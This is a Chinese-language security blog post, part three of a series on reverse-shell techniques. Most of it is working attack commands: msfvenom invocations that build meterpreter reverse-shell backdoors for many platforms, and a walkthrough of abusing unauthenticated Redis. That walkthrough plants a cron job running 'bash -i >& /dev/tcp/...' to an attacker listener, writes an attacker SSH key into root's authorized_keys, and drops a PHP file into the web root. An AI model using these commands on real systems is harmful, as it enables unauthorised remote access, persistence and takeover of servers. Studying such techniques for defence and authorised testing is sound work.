常见shell反弹方式(三)

  • A+
所属分类:安全文章

之前文章常见shell反弹方式(一)介绍了一部分反弹shell 的方式,如下:

常见shell反弹方式(三)

以及常见shell反弹方式(二)介绍了一部分反弹shell 的方式,如下:

常见shell反弹方式(三)

师傅们可直接点击链接看之前两部分:常见shell反弹方式(一)常见shell反弹方式(二)

今日目录

常见shell反弹方式(三)

1. MSF生成反弹shell

上面所有的反弹shell,都可以由msf帮助生成


1.1 获取反弹shell脚本

msfvenom -l payloads|grep "cmd/unix/bind" 查看正向连接的shell

msfvenom -l payloads|grep "cmd/unix/reverse" 查看反向连接的shell

常见shell反弹方式(三)

获取shell源码但是只能cmd这个模块,别的exe之类的人类不可读

例子:msfvenom -p cmd/unix/reverse_bash LHOST=192.168.40.1 LPORT=9900 R

   这样就是打印出来,而不是写入执行文件

常见shell反弹方式(三)


1.2 msf生成多种后门(反弹shell)

(1)windows    -->使用模块“windows/meterpreter/reverse_tcp”

命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=44444 X >test.exe

命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=44444 -f exe >test.exe

(2)linux      -->使用模块“linux/x86/meterpreter/shell_rverse_tcp”

命令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 X >text (linux对后缀名不敏感)

命令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f elf >text.elf

(3)java       -->使用模块“java/meterpreter/reverse_tcp”

命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 W >text.jar

命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f jar >text.jar

(4)php        -->使用模块“php/meterpreter/reverse_tcp”

命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php

(5)jsp        -->使用模块“java/jsp_shell_reverse_tcp”

命令:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.146 LPORT=1234 R >text.jsp

命令:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f jsp >text.jsp

jsp一般是weblogic,tomcat搭建,权限较低

(6)asp        -->使用模块“windows/meterpreter/reverse_tcp”

命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f asp > shell.asp

(7)aspx       -->使用模块“windows/meterpreter/reverse_tcp”

命令:msfvenom -a x86 --platform win -p windows/meterpreter/reverse_tcp LHOST= 192.168.1.109 LPORT=7788 -f aspx > /home/niexinming/back.aspx

(8)android    -->使用模块“android/meterpreter/reverse_tcp”

命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 R >text.apk

没有相应格式 采用R ,文件后缀写好就行

2 扩展反弹shell


2.1 在线地址

老师说这个网址有很多反弹shell的。

https://krober.biz/misc/reverse_shell.php


2.2 Redis未授权访问反弹shell

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。


2.2.1 安装redis
wget http://download.redis.io/releases/redis-3.2.0.tar.gztar -xvzf redis-3.2.0.tar.gzcd redis-3.2.0make
2.2.2 修改配置文件
vim redis.confbind 127.0.0.1前面加上#号       # bind 202.139.21.100protected-mode设为no 启动redis-server     ./src/redis-server redis-conf

默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件!!


2.2.3 攻击利用

#### 1.redis基本命令 连接redis:

redis-cli -h 192.168.63.130

查看redis版本信息、一些具体信息、服务器版本信息等等:

192.168.63.130:6379>info

将变量x的值设为test:

192.168.63.130:6379>set x "test"

获取设置的某个变量的值:

192.168.63.130:6379>get x

便可以看到之前设置的值

是把整个redis数据库删除,一般情况下不要用!!!

192.168.63.130:6379>flushall

查看所有键:

192.168.63.130:6379>KEYS *

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。

192.168.63.130:6379>CONFIG GET dir192.168.63.130:6379>CONFIG GET dbfilename

#### 2.攻击的几种方法 #####

(1).利用计划任务执行命令反弹shell 在redis以root权限运行时可以写crontab来执行命令反弹shell 先在自己的服务器上监听一个端口

nc -lvnp 7999

然后执行命令:

[email protected]:~# redis-cli -h 192.168.63.130192.168.63.130:6379> set  xx   "n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1n"OK192.168.63.130:6379> config set dir /var/spool/cron/OK192.168.63.130:6379> config set dbfilename rootOK192.168.63.130:6379> saveOK

常见shell反弹方式(三)


nc监听端口已经反弹回来shell

常见shell反弹方式(三)


2.2.4 Redis的其他应用

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

常见shell反弹方式(三)


2.2.4.1 写ssh-keygen公钥然后使用私钥登陆

利用条件:

a) Redis服务使用ROOT账号启动   

b) 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

操作流程:

Step 1:首先在本地生成一对密钥:

[email protected]:~/.ssh# ssh-keygen -t rsa

常见shell反弹方式(三)

产看密钥:

常见shell反弹方式(三)

然后在redis执行命令

192.168.63.130:6379> config set dir /root/.ssh/OK192.168.63.130:6379> config set dbfilename authorized_keysOK192.168.63.130:6379> set x " AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx"OK192.168.63.130:6379> saveOK

之后直接使用公钥登录即可

常见shell反弹方式(三)


常见shell反弹方式(三)


2.2.4.2 往web物理路径(document root)写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

192.168.63.130:6379> config set dir /var/www/html/OK192.168.63.130:6379> config set dbfilename shell.phpOK192.168.63.130:6379> set x "<?php phpinfo();?>"OK192.168.63.130:6379> saveOK

即可将shell写入web目录(web目录根据实际情况)

常见shell反弹方式(三)


常见shell反弹方式(三)

访问之:

常见shell反弹方式(三)


每日坚持分享好工具好资源,麻烦各位师傅文章底部给点个“再看”,感激不尽常见shell反弹方式(三)

欢迎关注 系统安全运维 

觉得不错点个“赞”、“在看”哦常见shell反弹方式(三)

本文始发于微信公众号(系统安全运维):常见shell反弹方式(三)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: